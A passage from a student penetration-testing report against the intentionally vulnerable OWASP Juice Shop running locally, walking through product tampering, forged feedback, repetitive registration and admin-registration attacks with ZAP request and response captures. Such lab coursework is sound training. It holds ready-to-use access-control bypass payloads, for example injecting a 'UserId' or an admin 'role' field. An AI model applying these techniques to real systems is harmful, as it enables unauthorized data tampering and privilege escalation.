7. Edit the header in the requester to PUT <http://127.0.0.1:3000/api/products/9>
8. And add a description as per the challenge specification change the href to <www.owasp.slack.com>.
9. Click on send.
10. After reloading the juice shop web page, we can see that the description has changed.
11. In this way, we have tampered the existing product created by another user, resulting in violation of the SFR.

b) Outcomes/Evidence of Penetration Testing

The screenshot shows the OWASP Juice Shop Score Board interface. At the top, there are three progress bars: 'Hacking Challenges' at 8%, 'Coding Challenges' at 0%, and 'Challenges Solved' at 9/168. Below these are sections for 'Difficulty', 'Status', and 'Tags'. A search bar is present, along with a note about Docker compatibility. On the right, there's a sidebar with various status indicators and a navigation bar with 'History' and 'WebSockets'.

8% Hacking Challenges

0% Coding Challenges

9/168 Challenges Solved

Difficulty Status Tags



Search: OWASP SSL Advanced Forensic Tool (O-Saft)

This is the new Score Board! If you notice any bugs or have any feedback, please let us know! Reach out via our community channels. Switch to the legacy Score Board

16 challenges are unavailable on Docker due to security concerns or technical incompatibility! Hide disabled challenges

Broken Access Control
Product Tampering ★★★

History WebSockets



Screenshot of ZAP 2.14.0 showing a successful GET request to http://127.0.0.1:3000/api/products/9. The response body contains JSON data for product ID 9.

```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
{"status": "success", "data": {"id": 9, "name": "OWASP SSL Advanced Forensic Tool (O-Saft)", "description": "O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations. <a href=\"https://www.owasp.org/index.php/O-Saft\" target=\"_blank\">More...</a>", "price": 0.01, "deluxePrice": 0.01, "image": "orange_juice.jpg", "createdAt": "2024-04-21T17:04:44.631Z", "updatedAt": "2024-04-21T17:04:44.631Z", "deletedAt": null}}

```


Screenshot of ZAP 2.14.0 showing a successful PUT request to http://127.0.0.1:3000/api/products/9. The response body contains JSON data for product ID 9, including a new description field added by the user.

```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 369
ETag: W/"171-0evRcYS5nseVv1379v70x7YiA"
{"status": "success", "data": {"id": 9, "name": "OWASP SSL Advanced Forensic Tool (O-Saft)", "description": "Apoorva's Security Coursework. <a href=\"https://www.owasp.org/index.php/O-Saft\" target=\"_blank\">More...</a>", "price": 0.01, "deluxePrice": 0.01, "image": "orange_juice.jpg", "createdAt": "2024-04-21T17:04:44.631Z", "updatedAt": "2024-04-21T17:04:44.631Z", "deletedAt": null}}

```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
4,477	M...	4/22/24, 6:13:20 PM	PUT	http://127.0.0.1:3000/api/products/9	500	Internal ...	1...	1,841 bytes		Medium	JSON		
4,478	M...	4/22/24, 6:13:21 PM	PUT	http://127.0.0.1:3000/api/products/9	500	Internal ...	1...	1,841 bytes		Medium	JSON		
4,479	M...	4/22/24, 6:13:42 PM	PUT	http://127.0.0.1:3000/api/products/9	500	Internal ...	1...	1,841 bytes		Medium	JSON		
4,480	M...	4/22/24, 6:13:54 PM	PUT	http://127.0.0.1:3000/api/products/9	500	Internal ...	1...	1,841 bytes		Medium	JSON		
4,481	M...	4/22/24, 6:14:29 PM	PUT	http://127.0.0.1:3000/api/products/9	200	OK	3...	369 bytes		Medium	JSON		



The screenshot shows the ZAP 2.14.0 interface with the 'Encode/Decode/Hash' tool open. The tool has a text input field containing 'OWASP SSL Advanced Forensic Tool (O-Saft)'. Below the input are several encoding options: Base64 Encode, URL Encode, Full URL Encode, ASCII Hex Encode, HTML Encode, and JavaScript Encode. The 'Full URL Encode' option is selected, showing the encoded output: %4F%57%41%53%50%20%53%53%4C%20%41%64%76%61%6E%63%65%64%20%46%5F%72%65%6E%73%69%63%20%54%6F%6C%20%28%4F%2D%53%51%66%74%29. The 'HTML Encode' option shows the encoded HTML version of the string.

Below the tool, a network session table is visible. The table has columns for Channel, Time, Request, Response, and Payload. The first few rows show requests from channel #1.1 to #2.3, each with a timestamp like '20/04/2024, 18:29:24.265' and a response status like '1=TEXT'. The 'Payload' column shows the encoded strings from the tool. At the bottom of the table, there are sections for 'Alerts' (1, 10, 13, 12) and 'Main Proxy: 127.0.0.1:8081'.

The screenshot shows a ZAP session titled "Untitled Session - originalcoursework - ZAP 2.14.0". In the "Request" tab, a GET request is made to `http://127.0.0.1:3000/api/products`. The "Response" tab displays the following JSON data:

```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

[{"status": "success", "data": [{"id": 1, "name": "Apple Juice (1000ml)", "description": "The all-time classic.", "price": 1.99, "deluxePrice": 0.99, "image": "apple_juice.jpg", "createdAt": "2024-04-21T17:04:44.629Z", "updatedAt": "2024-04-21T17:04:44.629Z", "deletedAt": null}, {"id": 2, "name": "Orange Juice (1000ml)", "description": "Made from oranges hand-picked by Uncle Dittmeyer.", "price": 2.99, "deluxePrice": 2.49, "image": "orange_juice.jpg", "createdAt": "2024-04-21T17:04:44.629Z", "updatedAt": "2024-04-21T17:04:44.629Z", "deletedAt": null}, {"id": 3, "name": "Eggfruit Juice (500ml)", "description": "Now with even more exotic flavour!", "price": 8.99, "deluxePrice": 8.99, "image": "eggfruit_juice.jpg", "createdAt": "2024-04-21T17:04:44.629Z", "updatedAt": "2024-04-21T17:04:44.629Z", "deletedAt": null}, {"id": 4, "name": "Raspberry Juice (1000ml)", "description": ""}], "message": "Success!"}

```

Screenshot of ZAP 2.14.0 showing a session titled "Untitled Session - originalcoursework". The Request tab shows a GET request to http://127.0.0.1:3000/rest/products/search?q=%4F%57%41%53%50%20%53%53%4C%20%41%64%76%61%6E%63%65%64%20%46%6F%72%65%6E%73%69%63%20%54%6F%6C%20%28%4F%20%53%61%66%74%29 HTTP/1.1. The Response tab displays a JSON response from "OWASP SSL Advanced Forensic Tool (O-Saft)". The response includes a success status, an ID of 9, a name of "OWASP SSL Advanced Forensic Tool (O-Saft)", and a description stating it's an easy tool to use for SSL certificate information. It also includes a link to the tool's index page and a placeholder for an image. The Network tab shows several requests and responses, including a POST to socket.io and multiple GETs to rest/products/search. The Alerts tab is empty.

Screenshot of ZAP 2.14.0 showing a session titled "Untitled Session - originalcoursework". The Request tab shows a PUT request to http://127.0.0.1:3000/api/products/9. The URL contains a long token: ETan_W/"188-1D9RzL+ihRnwz1ccn41/fh@JU!. The response is a JSON object with a status of "success", an ID of 9, a name of "OWASP SSL Advanced Forensic Tool (O-Saft)", and a description of "Apoorva's Security Coursework". It also includes a link to https://owasp.slack.com and a placeholder for an image. The Network tab shows several requests and responses, including a GET to rest/continue-code and multiple GETs to rest/products/9. The Alerts tab is empty.

The screenshot shows the OWASP O-Saft project page. At the top, there's a navigation bar with links for Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, Google Hacking DB, and OffSec. Below the navigation is a message encouraging users to support the OWASP mission. The main content area features the OWASP logo and navigation links for Projects, Chapters, Events, and About. On the right, there are buttons for Member Login, Store, Donate, and Join. A sidebar on the right contains sections for Watch (6 items), Star (0 items), and various project statistics like Sites (1), Start (1), and Off (1).

This screenshot shows the OWASP O-Saft product page within the OWASP Juice Shop. The product title is "OWASP SSL advanced forensic tool / OWASP SSL audit for testers". It describes O-Saft as an easy-to-use tool for SSL certificate analysis and testing. The page includes a "Lab Project" section. A sidebar on the right provides project information, including a "Project Information" section with a green folder icon and a "Lab Project" section with a blue folder icon.

The screenshot shows the same product page after a challenge has been solved. A green notification bar at the top states: "You successfully solved a challenge: Product Tampering (Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into https://owasp.slack.com.)". The product listing for "OWASP SSL Advanced Forensic Tool (O-Saft)" is shown again, featuring an illustration of a juice glass and an orange. The sidebar on the right remains the same, showing project statistics.

Search Results - OWASP SSL Advanced Forensic Tool (O-Saft)

OWASP SSL Advanced Forensic Tool (O-Saft)
0.01\$

Reviews (0)

Write a review

Review - What did you like or dislike? Max. 160 characters 0/160

Close Submit

slack

Sign in to OWASP

owasp.slack.com

G Sign In With Google

A Sign In With Apple

OR

name@work-email.com

Sign In With Email


ACCEPT ALL COOKIES

REJECT ALL COOKIES

We use cookies to make your interactions with our website more meaningful. They help us better understand how our websites are used, so we can tailor content for you. For more

[ACCEPT ALL COOKIES](#)

[REJECT ALL COOKIES](#)



- c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**

Using the email `apoorva@juice.com` and the password `Apoorva@123`, we performed penetration testing on the Target of Evaluation (TOE). We used the search bar to find the OWASP SSL Advanced Forensic Tool (O-Saft) after logging in. We changed the request header to make a PUT request (`/api/products/9`) by looking at the GET request

(/rest/products/search?q=). We were able to change the product description by doing this and changing the url to www.owasp.slack.com. We verified the modifications after reloading, going against the Security Functional Requirement (SFR) by interfering with the product of another user.

Forged Feedback: Post some feedback in another user's name.

a) Description of penetration testing that was carried out.

1. Open the customer feedback page which is found under the 3 line by clicking the button on the top left corner of the homepage.
2. We can here write down the comment, as provide the rating, and solve the captcha in order to successfully post the feedback.
3. I gave comment as “feedback” with 5 star rating and captcha as 96. In ZAP there is POST request (<http://127.0.0.1:3000/api/Feedbacks/>), with “201 created” response code.
4. The request body will contain {"captchaId":1, "captcha": "6", "comment": "feedback (anonymous)", "rating": 5}.
5. The user id is hidden since in the response body, there is a key/value field named “UserId”: null.
6. Right click in the UI screen and open inspect console of Customer feedback there above the author field we can see that user id is hidden field.
7. We will remove the “hidden” attribute for userId field to unhide the input field.
8. Now, we can see the user id so we can enter some valid userId, add some comment and rating and submit it.
9. We can see new feedback was successfully created with “userId”:3 in the request body with “201 created” response code.
10. In this way, we forged a feedback using another’s userId, resulting in violation of the SFR.

b) Outcomes/Evidence of the Penetration Testing.

The screenshot displays two windows related to a penetration testing session against the OWASP Juice Shop application.

Top Window: OWASP Juice Shop - Customer Feedback Form

This window shows a form titled "Customer Feedback". The fields are as follows:

- Author: anonymous
- Comment *: feedback
- Rating: 5
- CAPTCHA: What is 6*8*2 ? Result: 96

A "Submit" button is at the bottom right. A message at the bottom right states: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait! Me want it!"

Bottom Window: ZAP 2.14.0 - Untitled Session - originalcoursework

The ZAP interface shows the following details:

- Sites:** Contexts > Default Context > Sites > https://queue.simpleapi.net, https://analytics.ietf.org, https://static.ietf.org, https://datatracker.ietf.org, https://tools.ietf.org, https://yt3.ggpht.com, https://static.doubleclick.net, https://googleads.g.doubleclick.net, https://scripts.simpleapi.net, https://user-images.githubusercontent.com, https://securitytxt.org, http://securitytxt.org
- Request/Response:** Headers and Body tabs are visible. The Body tab shows a JSON response from the "/Feedbacks" endpoint.
- Output:** A large pane showing the raw network traffic. A specific transaction is highlighted in blue, showing a POST request to "/Feedbacks/" with a status code of 201 Created.
- Table:** A table of captured requests and responses. One row is highlighted in yellow, showing a POST request to "/Feedbacks/" with a status code of 201 Created.

Screenshot of ZAP 2.14.0 showing a successful exploit attempt.

Request:

```
POST http://127.0.0.1:3000/api/Feedbacks/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 0
{"captchaId":1,"captcha":"6","comment": "feedback (anonymous)","rating":5,"UserId":3}
```

Response:

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
{
  "error": {
    "message": "WHERE parameter \"captchaId\" has invalid \"undefined\" value",
    "stack": "Error: WHERE parameter \"captchaId\" has invalid \"undefined\" value\n    at SQLiteQueryGenerator.whereItemQuery (/juice-shop/node_modules/sequelize/lib/query-generator.js:111:15)\n    at Function.create (/juice-shop/node_modules/sequelize/lib/query-generator.js:100:10)\n    at Function.findAll (/juice-shop/node_modules/sequelize/lib/model.js:100:10)\n    at Object.findAll (/juice-shop/api/controllers/FeedbackController.js:10:10)\n    at Function. [as findAll] (/juice-shop/api/controllers/FeedbackController.js:10:10)\n    at FeedbackController.create (/juice-shop/api/controllers/FeedbackController.js:10:10)\n    at Object. [as postFeedback] (/juice-shop/api/controllers/FeedbackController.js:10:10)\n    at Request. [as handle] (/juice-shop/api/routes/FeedbackRoutes.js:10:10)\n    at Request. [as handle] (/juice-shop/api/routes/FeedbackRoutes.js:10:10)"}
}
```

History Table:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,101	Pr...	4/21/24, 10:31:52...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	11 bytes	Medium	JSON		
2,102	Pr...	4/21/24, 10:31:52...	GET	http://127.0.0.1:3000/rest/captcha/	200	OK	4...	46 bytes	Medium	Informati...		
2,103	Pr...	4/21/24, 10:32:15...	POST	http://127.0.0.1:3000/api/Feedbacks/	201	Created	3...	172 bytes	Medium	JSON		
2,104	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	5...	0 bytes	Medium	Informati...		
2,105	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/captcha/	200	OK	3...	47 bytes	Medium	JSON		
2,106	M...	4/21/24, 10:34:02...	POST	http://127.0.0.1:3000/api/Feedbacks/	500	Internal ...	1...	1,207 bytes	Medium	JSON		

Screenshot of ZAP 2.14.0 showing a successful exploit attempt.

Request:

```
POST http://127.0.0.1:3000/api/Feedbacks/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 0
{"captchaId":1,"captcha":"6","comment": "feedback (anonymous)","rating":5,"UserId":3}
```

Response:

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
{"status": "success", "data": {"id": 10, "comment": "feedback (anonymous)", "rating": 5, "UserId": 3, "updatedAt": "2024-04-21T21:35:29.239Z", "createdAt": "2024-04-21T21:35:29.239Z"}}
```

History Table:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,103	Pr...	4/21/24, 10:32:15...	POST	http://127.0.0.1:3000/api/Feedbacks/	201	Created	3...	172 bytes	Medium			
2,104	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	5...	0 bytes	Medium	Informati...		
2,105	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/captcha/	200	OK	3...	47 bytes	Medium			
2,106	M...	4/21/24, 10:34:02...	POST	http://127.0.0.1:3000/api/Feedbacks/	500	Internal ...	1...	1,207 bytes	Medium			
2,107	M...	4/21/24, 10:35:29...	POST	http://127.0.0.1:3000/api/Feedbacks/	201	Created	4...	170 bytes	Medium	JSON		
2,108	Pr...	4/21/24, 10:35:29...	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	6...	79 bytes	Medium	JSON		

Screenshot of ZAP 2.14.0 showing a successful POST request to /api/Feedbacks/13.

Request:

```
POST http://127.0.0.1:3000/api/Feedbacks/13 HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 85

{"captchaId":1,"captcha":6,"comment": "feedback (anonymous)","rating":5,"UserId":3}
```

Response:

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs

{"status": "success", "data": {"id": 13, "comment": "feedback (anonymous)", "rating": 5, "UserId": 3, "updatedAt": "2024-04-21T21:35:29.239Z", "createdAt": "2024-04-21T21:35:29.239Z"}}
```

History Table:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,103	Pr...	4/21/24, 10:32:15...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	3...	172 bytes	Medium	Medium		
2,104	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	5...	0 bytes	Medium	Medium	Informati...	
2,105	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/captcha/13	200	OK	3...	47 bytes	Medium	Medium		
2,106	M...	4/21/24, 10:34:02...	POST	http://127.0.0.1:3000/api/Feedbacks/13	500	Internal ...	1...	1,207 bytes	Medium	Medium		
2,107	M...	4/21/24, 10:35:29...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	4...	170 bytes	Medium	Medium	JSON	
2,108	Pr...	4/21/24, 10:35:29...	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	6...	79 bytes	Medium	Medium	JSON	

Screenshot of ZAP 2.14.0 showing a successful POST request to /api/Feedbacks/13.

Request:

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Feedbacks/13
Content-Type: application/json; charset=utf-8
Content-Length: 172

{"status": "success", "data": {"id": 13, "comment": "feedbackui (anonymous)", "rating": 5, "updatedAt": "2024-04-21T21:41:03.670Z", "createdAt": "2024-04-21T21:41:03.670Z"}}
```

History Table:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,113	Pr...	4/21/24, 10:39:49...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	2...	172 bytes	Medium	Medium	JSON	
2,114	Pr...	4/21/24, 10:39:49...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	1...	0 bytes	Medium	Medium		
2,115	Pr...	4/21/24, 10:39:49...	GET	http://127.0.0.1:3000/rest/captcha/13	200	OK	8...	48 bytes	Medium	Medium	JSON	
2,116	Pr...	4/21/24, 10:41:03...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	2...	172 bytes	Medium	Medium	JSON	
2,117	Pr...	4/21/24, 10:41:03...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	4...	0 bytes	Medium	Medium		
2,118	Pr...	4/21/24, 10:41:03...	GET	http://127.0.0.1:3000/rest/captcha/13	200	OK	3...	48 bytes	Medium	Medium	JSON	

You successfully solved a challenge: Forged Feedback (Post some feedback in another user's name.)

Customer Feedback

Author: anonymous

Comment: feedback

Rating: 5

CAPTCHA: What is $5 * 10 + 4$?

Result: 54

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!

History 399 WebSockets 200

Inspector Console Debugger Network Style Editor Performance Memory Storage Accessibility Application Rules Layout Computed Changes Compatibility Font

```

<div id="feedback-form" class="form-container" ng-content-odd-c24="">
  <div id="feedback-form" class="form-container" ng-content-odd-c24="">
    <input id="userId" class="ng-untouched ng-pristine ng-valid" ng-content-odd-c24="" type="text" hidden="">
    <mat-form-field class="mat-form-field ng-tns-c22-93 mat-accent mat-form-field-type-hed ng-pristine ng-star-inserted mat-form-field-should-float" ng-content-odd-c24="" appearance="outline" color="accent"></mat-form-field>
    <mat-form-field class="mat-form-field ng-tns-c22-94 mat-accent mat-form-field-type-ted mat-form-field-should-float ng-dirty ng-valid ng-touched" ng-content-odd-c24="" appearance="outline" color="accent"></mat-form-field>
  </div>

```

c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

Started by accessing the page for customer feedback. In order to post the feedback, we answered the captcha, gave rating, and gave feedback. The POST request to /api/feedbacks/ using ZAP; this request resulted in a "201 Created" response. Fields for the captcha ID, remark, rating, and hidden user ID were all present in the request body. After that, the user ID field was

visible after inspecting the console and removing the "hidden" property. Once a legitimate user ID was entered, a new comment and rating were added, and the feedback was successfully forged using the ID of another user. This proved that the security functional requirement (SFR) had been broken. The vulnerability was found through a successful penetration test, emphasizing the need for improved input validation and more robust access control measures to stop unauthorized individuals from

3) Repetitive Registration: Follow the DRY principle while registering a user.

a) Description of penetration testing that was carried out.

1. Register as a new user so to do that navigate to. Account -> Login -> Not yet a customer? -> User Registration Form
2. Enter **email id: apoorva@juice.com**
3. Enter password – **apoorva@1**. Repeated password – **apoorva@1** .
4. Notice how we have satisfied the condition that both the passwords match, we can change the password data to something else for the password field.
5. I gave the edited password as **apoorva@123**.
6. Notice how, the condition still remain satisfied.
7. Now, Click on register.
8. A **201 created** response code is received indicating user registration was successful.
9. Now, try to login using **email id: apoarva@gmail.com**, password: **apoarva@123**.
10. A **200 Ok** response is received in Zap history. This means login was successful.
11. This way we solve this challenge.

b) Outcomes/Evidence of penetration testing.

This screenshot shows the OWASP Juice Shop Score Board interface. The search bar at the top contains the query 'reg'. Below the search bar are several filter buttons: All, XSS, Sensitive Data Exposure, Improper Input Validation, Broken Access Control, Unvalidated Redirects, Vulnerable Components, Broken Authentication, Security through Obscurity, Insecure Deserialization, Miscellaneous, Broken Anti Automation, Injection, Security Misconfiguration, Cryptographic Issues, and XXE. The main content area displays a list of challenges:

- Improper Input Validation**: **Repetitive Registration** (★) - Follow the DRY principle while registering a user.
- Improper Input Validation**: **Empty User Registration** (★★) - Register a user with an empty email and password.
- Improper Input Validation**: **Admin Registration** (★★★) - Register as a user with administrator privileges.
- Injection**: **Ephemeral Accountant** (★★★★) - Log in with the (non-existing) accountant account4nt@juice-shop without ever registering that user.

A sidebar on the left shows challenge counts: Out (0), Off (0), 0 (2), 1 (1), 2 (2), and + (2). A sidebar on the right provides links to legacy score board, sites, and various challenge statistics.

This screenshot shows the OWASP Juice Shop login page. The page has a dark theme with a light blue header. The header includes the OWASP Juice Shop logo, a search bar, an account icon, and a language switcher (EN). The main content area is titled 'Login' and contains the following fields:

- Email *
- Password *

Below the password field is a link 'Forgot your password?'. Underneath the fields are two buttons: 'Log in' and 'Remember me'. A horizontal line with the word 'or' is followed by a 'Log in with Google' button. At the bottom of the form is a link 'Not yet a customer?'.

A sidebar on the left shows challenge counts: Out (0), Off (0), 0 (2), 1 (1), 2 (2), and + (2). A sidebar on the right provides links to sites, and various challenge statistics. A message at the bottom right states: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!' with a 'Me want it!' button.

OWASP Juice Shop

User Registration

Email * apoorva@juice.com

Password * 8/20
Repeat Password * 5/40

Show password advice


Security Question * Your eldest siblings middle name? This cannot be changed later!

Answer * asd

Register

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!



OWASP Juice Shop

User Registration

Email * apoorva123@juice.com

Password * 7/20
Repeat Password * 5/40

Show password advice


Security Question * Your eldest siblings middle name? This cannot be changed later!



Answer * asd


Register

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!







- c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**
 By going to the registration page and entering the email apoorva@juice.com with the password apoorva@1, we were able to register as new users. After completing the matching password conditions, we changed the password to apoorva@123 to keep the registration active. We validated the bug by confirming the success with a 201 response code and then successfully logging in with a 200 OK response.

11) SFR Identifier:

- **FDP_ACF.1.3 The TOE shall explicitly authorize access of subjects to objects based on the following additional rules:**
1. **only a user with root rights can register another user as an admin user**

Related Vulnerabilities Challenges:

1. **Admin Registration**

Tested Vulnerability

VC: Admin Registration

a) Description of penetration testing that was carried out.

1. There are few way we can do this task.
2. First, register as a new customer. Fill email:Apoorva@juice.com, password:Apoorva@1 set security answer: Avanish. Then click Register.
3. Now using the new email click on Login using above credentials. This triggers the api: api/Users / in ZAP.
4. Now in ZAP we can see the request body for this. Send this to requester.

5. When send through requester it gives error saying that Validation error, email must be unique.
 6. In requester there are 2 ways:
 - i. So, we can remove the email field and send which solves the error.
 - ii. Or, use the field “role”: “Admin” or “isAdmin” : true.
 7. One more way is to change the email as Apoorva.admin@juice.com
 8. This will give the users admin rights and Admin Registration is done.
- b) **Outcomes (evidence) of the penetration testing in (a):**

The screenshot shows a Firefox browser window with the URL <https://127.0.0.1:3000/#/register>. The page title is "User Registration". The registration form fields are:

- Email: apoorva@juice.com (highlighted in red)
- Password: (redacted)
- Repeat Password: (redacted)
- Show password advice: (checkbox)
- Security Question: Your eldest sibling's middle name? (dropdown menu)
- Answer: Avanish

A validation error message is displayed next to the Email field: "Password must be 5-40 characters long". A tooltip icon is shown next to the error message. The browser status bar at the bottom shows "History 11" and "WebSockets 1570".

Screenshot of a Firefox browser window showing the OWASP Juice Shop login page at <https://127.0.0.1:3000/#/login>. The login form has 'Email' set to 'apoorva@juice.com' and 'Password' set to 'Apoorva1'. A tooltip on the right says: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!' with a 'Me want it!' button.

Below the browser is ZAP 2.14.0, showing a list of sites and a captured POST request to <http://127.0.0.1:3000/api/Users/> with JSON payload:

```
{
  "email": "apoorva@juice.com",
  "password": "Apoorva1",
  "passwordRepeat": "Apoorva1",
  "securityQuestion": {
    "id": 1,
    "question": "Your eldest siblings middle name?"
  },
  "createdAt": "2024-04-27T20:39:08.215Z",
  "updatedAt": "2024-04-27T20:39:08.215Z",
  "securityAnswer": "Avanish"
}
```

The ZAP interface also shows a table of captured requests and responses, with the last row selected.

Untitled Session - originalcoursework - ZAP 2.14.0

```

HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Users/22
Content-Type: application/json; charset=utf-8
{"status": "success", "data": {"username": "", "role": "customer", "deluxeToken": "", "lastLoginIp": "0.0.0.0", "profileImage": "/assets/public/images/uploads/default.svg", "isActive": true, "id": 22, "email": "apoorva@juice.com", "updatedAt": "2024-04-29T10:37:34.105Z", "createdAt": "2024-04-29T10:37:34.105Z", "deletedAt": null}}

```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14....	→ Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226	bytes	⚠️ Medium	JSON		

Untitled Session - originalcoursework - ZAP 2.14.0

```

POST http://127.0.0.1:3000/api/SecurityAnswers/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 55
{"UserId":22,"answer":"Avanish","SecurityQuestionId":1}

```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14....	→ Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226	bytes	⚠️ Medium	JSON		

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14...	M...	4/29/24, 2:29:44 PM	POST	http://127.0.0.1:3000/api/Users/	201	Created	6...	295 bytes		Medium		JSON	
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/103.js	304	Not Mod...	9...	0 bytes		Medium			
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	1...	79 bytes		Info			
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	4...	79 bytes		Medium		JSON	

